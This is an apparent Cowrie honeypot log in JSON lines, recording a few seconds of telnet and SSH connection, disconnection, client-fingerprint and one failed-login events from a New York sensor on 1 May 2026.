{"eventid":"cowrie.session.closed","duration":30.9467134475708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.019874Z","src_ip":"99.198.111.122","session":"343180ff9a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.358312606811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.044669Z","src_ip":"99.198.111.122","session":"03646075ea97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7225022315979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.088619Z","src_ip":"135.148.33.217","session":"f486c0a95b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483763694763184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.102340Z","src_ip":"99.198.111.122","session":"bf5cdab8b205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":59272,"dst_ip":"10.17.0.5","dst_port":23,"session":"c59eb7dcac45","protocol":"telnet","message":"New connection: 216.22.21.200:59272 (10.17.0.5:23) [session: c59eb7dcac45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.173712Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":42342,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a54b17a443","protocol":"telnet","message":"New connection: 99.198.111.122:42342 (10.17.0.5:23) [session: 81a54b17a443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.293703Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.382681Z","src_ip":"213.209.159.225","session":"f38126d9daa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29192852973938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.554129Z","src_ip":"99.198.111.122","session":"6e0b837e5074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":45308,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f013ba673ac","protocol":"telnet","message":"New connection: 195.154.29.177:45308 (10.17.0.5:23) [session: 7f013ba673ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.606709Z"}
{"eventid":"cowrie.session.closed","duration":31.75615906715393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.701687Z","src_ip":"162.214.112.92","session":"9c4c528066a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.50953388214111,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:44.775175Z","src_ip":"162.214.112.92","session":"b19445eb56fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31327772140503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:45.126417Z","src_ip":"195.154.29.177","session":"b81c66a6b9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44528,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b25dcb4c29","protocol":"telnet","message":"New connection: 99.198.111.122:44528 (10.17.0.5:23) [session: 66b25dcb4c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:45.179370Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":60386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d49ab1857d8","protocol":"telnet","message":"New connection: 216.22.21.200:60386 (10.17.0.5:23) [session: 7d49ab1857d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:45.220398Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bf2eea594c1","protocol":"telnet","message":"New connection: 99.198.111.122:44988 (10.17.0.5:23) [session: 4bf2eea594c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:45.399996Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45686,"dst_ip":"10.17.0.5","dst_port":23,"session":"61eb88329de1","protocol":"telnet","message":"New connection: 99.198.111.122:45686 (10.17.0.5:23) [session: 61eb88329de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:45.767276Z"}
{"eventid":"cowrie.session.closed","duration":30.606714010238647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.034813Z","src_ip":"135.148.33.217","session":"cd48e9e3b311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17763113975525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.072960Z","src_ip":"162.241.40.195","session":"e3a9488f68a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":33002,"dst_ip":"10.17.0.5","dst_port":23,"session":"6944c037c0fb","protocol":"telnet","message":"New connection: 216.22.21.200:33002 (10.17.0.5:23) [session: 6944c037c0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.138717Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68ef2ab43f7","protocol":"telnet","message":"New connection: 216.22.21.200:33130 (10.17.0.5:23) [session: b68ef2ab43f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.233642Z"}
{"eventid":"cowrie.session.closed","duration":31.207447052001953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.239074Z","src_ip":"135.148.33.217","session":"5dd801dd0677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154584169387817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.263272Z","src_ip":"99.198.111.122","session":"fbb714884177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":33160,"dst_ip":"10.17.0.5","dst_port":23,"session":"0822e898a012","protocol":"telnet","message":"New connection: 216.22.21.200:33160 (10.17.0.5:23) [session: 0822e898a012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.268272Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47060,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f006ff593a","protocol":"telnet","message":"New connection: 99.198.111.122:47060 (10.17.0.5:23) [session: 85f006ff593a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.379625Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47584,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ce5774b3bf2","protocol":"telnet","message":"New connection: 99.198.111.122:47584 (10.17.0.5:23) [session: 5ce5774b3bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.587931Z"}
{"eventid":"cowrie.session.closed","duration":31.530255556106567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:46.970639Z","src_ip":"99.198.111.122","session":"88657106ebab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767951011657715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:47.016575Z","src_ip":"99.198.111.122","session":"eaf8157da9fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00573468208313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:47.031194Z","src_ip":"99.198.111.122","session":"04f54fd9e7fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.144700288772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:47.050479Z","src_ip":"64.235.40.29","session":"ee214bdc5be1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19882345199585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:47.192591Z","src_ip":"216.22.21.200","session":"90c044f6c4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":54778,"dst_ip":"10.17.0.5","dst_port":23,"session":"db804c3c936a","protocol":"telnet","message":"New connection: 160.250.4.73:54778 (10.17.0.5:23) [session: db804c3c936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:47.229897Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49802,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c5f87664404","protocol":"telnet","message":"New connection: 99.198.111.122:49802 (10.17.0.5:23) [session: 4c5f87664404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:47.460174Z"}
{"eventid":"cowrie.session.closed","duration":31.06266736984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.059913Z","src_ip":"135.148.33.217","session":"398390473726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":57146,"dst_ip":"10.17.0.5","dst_port":23,"session":"90dab0eaf19f","protocol":"telnet","message":"New connection: 195.154.29.177:57146 (10.17.0.5:23) [session: 90dab0eaf19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.204224Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52148,"dst_ip":"10.17.0.5","dst_port":23,"session":"250c4b458bfa","protocol":"telnet","message":"New connection: 99.198.111.122:52148 (10.17.0.5:23) [session: 250c4b458bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.459371Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":38974,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc39b83def7c","protocol":"ssh","message":"New connection: 186.80.18.158:38974 (10.17.0.5:22) [session: dc39b83def7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.701291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.707069Z","src_ip":"186.80.18.158","session":"dc39b83def7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52764,"dst_ip":"10.17.0.5","dst_port":23,"session":"86731a38c3e2","protocol":"telnet","message":"New connection: 99.198.111.122:52764 (10.17.0.5:23) [session: 86731a38c3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.713027Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.787570Z","src_ip":"186.80.18.158","session":"dc39b83def7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53286,"dst_ip":"10.17.0.5","dst_port":23,"session":"231212bee02f","protocol":"telnet","message":"New connection: 99.198.111.122:53286 (10.17.0.5:23) [session: 231212bee02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:48.891044Z"}
{"eventid":"cowrie.session.closed","duration":30.082796096801758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.012606Z","src_ip":"135.148.33.217","session":"8809237d6107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448538541793823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.062619Z","src_ip":"99.198.111.122","session":"34c5878b8339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740943670272827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.066270Z","src_ip":"99.198.111.122","session":"2ff736da3c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.383078575134277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.071175Z","src_ip":"216.22.21.200","session":"f479bb14e443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.196380615234375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.074480Z","src_ip":"195.154.29.177","session":"93e5bbda38eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80644941329956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.079732Z","src_ip":"99.198.111.122","session":"dd8c2a3e88e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87237548828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.085242Z","src_ip":"99.198.111.122","session":"f05527b31e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.158951997756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.103794Z","src_ip":"64.235.40.29","session":"3b19a363379b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"TestUser","message":"login attempt [testuser/TestUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.109584Z","src_ip":"186.80.18.158","session":"dc39b83def7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06420660018921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.267163Z","src_ip":"195.154.29.177","session":"2f8fae6e7c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004175662994385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.325817Z","src_ip":"99.198.111.122","session":"2b55ff8d913c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":58628,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c78ed0087f","protocol":"telnet","message":"New connection: 135.148.33.217:58628 (10.17.0.5:23) [session: c8c78ed0087f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.424396Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":58674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae48ae180752","protocol":"telnet","message":"New connection: 135.148.33.217:58674 (10.17.0.5:23) [session: ae48ae180752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:49.455414Z"}
{"eventid":"cowrie.session.closed","duration":30.69817566871643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.021210Z","src_ip":"216.22.21.200","session":"a4abec945efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547162294387817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.026335Z","src_ip":"216.22.21.200","session":"0d8189d95118","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56314,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fcee773eef1","protocol":"telnet","message":"New connection: 99.198.111.122:56314 (10.17.0.5:23) [session: 0fcee773eef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.093194Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":36644,"dst_ip":"10.17.0.5","dst_port":23,"session":"593a51d3a46e","protocol":"telnet","message":"New connection: 216.22.21.200:36644 (10.17.0.5:23) [session: 593a51d3a46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.186475Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.192611Z","src_ip":"186.80.18.158","session":"dc39b83def7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":37162,"dst_ip":"10.17.0.5","dst_port":23,"session":"2038fb3261f9","protocol":"telnet","message":"New connection: 216.22.21.200:37162 (10.17.0.5:23) [session: 2038fb3261f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.664521Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":60566,"dst_ip":"10.17.0.5","dst_port":23,"session":"384f576f2f21","protocol":"telnet","message":"New connection: 135.148.33.217:60566 (10.17.0.5:23) [session: 384f576f2f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.712582Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58530,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3a682d98a3","protocol":"telnet","message":"New connection: 99.198.111.122:58530 (10.17.0.5:23) [session: 4a3a682d98a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:50.990491Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58948,"dst_ip":"10.17.0.5","dst_port":23,"session":"37733c9f1b83","protocol":"telnet","message":"New connection: 99.198.111.122:58948 (10.17.0.5:23) [session: 37733c9f1b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:51.175330Z"}
{"eventid":"cowrie.session.closed","duration":30.690852403640747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:51.212461Z","src_ip":"135.148.33.217","session":"780ec8a5d551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98300075531006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:51.241831Z","src_ip":"64.235.40.29","session":"498d09117eeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d28ca6b6c2c","protocol":"telnet","message":"New connection: 99.198.111.122:59126 (10.17.0.5:23) [session: 5d28ca6b6c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:51.250890Z"}
{"eventid":"cowrie.session.closed","duration":32.42713165283203,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:51.629922Z","src_ip":"64.235.40.29","session":"b8e45f225feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.863933086395264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:51.994468Z","src_ip":"162.214.112.92","session":"97537bec9b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":32776,"dst_ip":"10.17.0.5","dst_port":23,"session":"d00464a66092","protocol":"telnet","message":"New connection: 99.198.111.122:32776 (10.17.0.5:23) [session: d00464a66092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:52.075363Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":45972,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f5b0c61fac","protocol":"telnet","message":"New connection: 160.250.4.73:45972 (10.17.0.5:23) [session: e3f5b0c61fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:52.114613Z"}
{"eventid":"cowrie.session.closed","duration":31.13408923149109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:52.465092Z","src_ip":"99.198.111.122","session":"ffb59c7998fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33820,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4200f2f6cb","protocol":"telnet","message":"New connection: 99.198.111.122:33820 (10.17.0.5:23) [session: 0a4200f2f6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:52.532580Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":45982,"dst_ip":"10.17.0.5","dst_port":23,"session":"73b78b7290e1","protocol":"telnet","message":"New connection: 160.250.4.73:45982 (10.17.0.5:23) [session: 73b78b7290e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:52.642119Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":43054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a88dd21bd15","protocol":"telnet","message":"New connection: 195.154.29.177:43054 (10.17.0.5:23) [session: 9a88dd21bd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:52.741463Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac73fba21879","protocol":"telnet","message":"New connection: 160.250.4.73:45992 (10.17.0.5:23) [session: ac73fba21879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:53.031375Z"}
{"eventid":"cowrie.session.closed","duration":30.42183780670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:53.129282Z","src_ip":"160.250.4.73","session":"197656fe6b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35690,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb361eed8ad6","protocol":"telnet","message":"New connection: 99.198.111.122:35690 (10.17.0.5:23) [session: cb361eed8ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:53.290300Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":36636,"dst_ip":"10.17.0.5","dst_port":23,"session":"73749334d6ac","protocol":"telnet","message":"New connection: 99.198.111.122:36636 (10.17.0.5:23) [session: 73749334d6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:53.644232Z"}
